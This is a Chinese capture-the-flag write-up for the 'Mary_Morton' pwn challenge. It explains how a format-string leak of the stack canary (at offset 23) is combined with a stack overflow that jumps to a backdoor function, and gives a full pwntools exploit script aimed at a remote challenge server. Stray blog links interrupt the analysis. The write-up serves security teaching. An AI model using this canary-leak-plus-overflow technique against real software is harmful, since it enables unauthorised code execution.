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0x01.分析分析
checksec：

64位程序，开启了Canary，NX。

对源码得简单分析发现，程序提供了两个漏洞，格式化字符串漏洞和栈溢出，并且发现了程序得后门：

https://atfwus.blog.csdn.net
https://blog.csdn.net/atfwus/category_9724038.html
https://blog.csdn.net/atfwus/category_9761866.html
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=pwn&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%25A0%2588%25E6%25BA%25A2%25E5%2587%25BA&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%25A0%25BC%25E5%25BC%258F%25E5%258C%2596%25E5%25AD%2597%25E7%25AC%25A6%25E4%25B8%25B2&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=canary&t=blog&o=vip&s=&l=&f=&viparticle=
https://blog.csdn.net/ATFWUS/article/details/104633310
https://blog.csdn.net/atfwus/category_9724038.html
https://blog.csdn.net/atfwus/category_9761866.html
https://pan.baidu.com/s/1on3lMupdI7YfPkQj7AmzEw
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=ATFWUS&utm_content=104633310


但是开启了cannary，我们无法直接覆盖返回地址，所以，我们必须利用格式化字符串漏洞泄露canary的值，然
后再覆盖道system的地址。

首先需要确定格式化字符串的偏移：

 

可以看出偏移是6，说明在第六个参数的位置，第六个参数存在栈上（相对于函数来说是第7个），然后得确定
一下canary的位置：

 

buf和canary相差0x90-8=0x88，每8个字节为一个参数，则可以计算出0x88/8=17，说明在字符串实际参数的后
17个，对于格式化字符串来说是第17+6=23个，也就是说canary是格式化字符串的第23个参数，那么我们就可
以通过这里得到canary的值，栈溢出的时候再覆盖canary的值就行了。

0x02.exp

##!/usr/bin/env python
from pwn import*

r=remote("111.198.29.45",58280)
#r=process('./Mary_Morton')
context.log_level = "debug"

flag_addr=0x00000000004008DA

r.sendlineafter("battle ","2")
payload="%23$p"

r.sendline(payload)
r.recvuntil("0x")
canary = int(r.recv(16),16)

r.sendlineafter("battle ","1")
payload=0x88*'A'+p64(canary)+8*'A'+p64(flag_addr)
r.sendline(payload)
r.interactive()



 

问题：在本地测试的时候，一直卡在接收地址那里，但远程没有问题，待解决。问题：在本地测试的时候，一直卡在接收地址那里，但远程没有问题，待解决。
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